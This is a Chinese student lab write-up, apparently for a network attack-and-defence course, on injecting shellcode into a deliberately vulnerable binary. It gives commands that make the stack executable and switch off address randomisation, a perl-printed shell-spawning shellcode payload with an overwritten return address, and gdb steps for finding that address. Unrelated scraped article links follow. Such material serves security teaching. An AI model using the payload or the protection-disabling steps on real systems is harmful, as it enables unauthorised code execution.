20155334 网络对抗PC平台逆向破解(二)
注入Shellcode并运行攻击
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。
实验步骤
- 安装execstack
apt-get install execstack - 设置堆栈可执行
execstack -s pwn20155334 - 查询文件的堆栈是否可执行
execstack -q pwn20155334 使用
more /proc/sys/kernel/randomize_va_space查询地址随机化状态,若是开启状态,则使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。

运行并gdb调试

- 输入shellcode内容
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' >input_shellcode - 运行
pwn20155334,输入命令(cat input_shellcode;cat) | ./pwn20155334 - 查询进程输入命令
ps -ef | grep pwn20155334 - 启动gdb调试这个进程
- 通过设置断点
disassemble foo,来查看注入buf的内存地址并且break *0x080484ae,在另外一个终端中按下回,在gdb中输入c,后输info r esp
- 输入shellcode内容
(gdb) x/16x 0xffffd43c看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

知道shellcode地址,所以修改为
perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155334

20155334 网络对抗PC平台逆向破解(二)的更多相关文章
- 20155305《网络对抗》PC平台逆向破解(二)
20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...
- 20155311《网络对抗》PC平台逆向破解(二)
20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...
- 20155307《网络对抗》PC平台逆向破解(二)
20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 20165309 《网络对抗技术》实验一:PC平台逆向破解
20165309 <网络对抗技术>实验一:PC平台逆向破解 目录 实践目标 基础知识 实验原理.内容及步骤 问题与解决 实验收获 一.实践目标 本次实践的对象是一个名为pwn1的linux ...
随机推荐
- SVN CentOS7 下配置svn的安装及基础配置介绍
CentOS7 下配置svn的安装及基础配置介绍 by:授客 QQ:1033553122 目录 一. 二. 三. 四. 五. 六. 七. 一. 实践环境 CentOS 7操作系统(CentO ...
- Django from表单及ajax提交文件
参考: https://blog.csdn.net/baobao267/article/details/83038323
- 团队项目第二阶段个人进展——Day2
一.昨天工作总结 冲刺第二天,基本完成了自己对第二阶段信息发布功能完善的规划 二.遇到的问题 不知道后端数据该如何封装处理 三.今日工作规划 先重新布局发布页面,并添加重置按钮
- kafka入门2:java 创建及删除 topic
1.pom <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka_2.1 ...
- C# winform基础 1、Timer不起作用 2、 设置图片透明
1.设置图片透明 this.pibox.BackColor = System.Drawing.Color.Transparent; //将背景设置为透明 this.pibox.Parent = la ...
- 转:双向链表dblinklist
数据结构C#版笔记--双向链表(DbLinkList) 这是数据结构C#版笔记--线性表(Data Structure)之单链表(LinkList)的继续,对于双向链接,节点上除了Next属性外, ...
- md5sum 和 sha256sum用于 验证软件完整性
md5sum 和 sha256sum 都用来用来校验软件安装包的完整性,本次我们将讲解如何使用两个命令进行软件安装包的校验: sha 是什么? sha 为 安全散列算法(英语:Secur ...
- Android高级_第三方下载工具Volley
Volley下载主要应用于下载文本数据和图片数据两个方向,下面分别介绍: 一.使用Volley开启下载,首先要做的是导包和添加权限: (1)在build.gradle文件中导入依赖包:compile ...
- supervisor 使用系列之一
supervisor 使用系列之一 前几年自己用PHP写过一个服务守护的脚本,初步实现了被守护脚本的状态监控.优雅杀死.以及自动重启的功能.面试的时候也有问到,为什么不使用supervisor这个工具 ...
- .net core 入坑经验 - 1、await async
已经有些日子没学习新知识了,心血来潮想试试core有多大变化和跨平台运行 所以现在就开始捣鼓,然而由于是从.net 4.0直接"跃升"到.net core 以及 asp.net m ...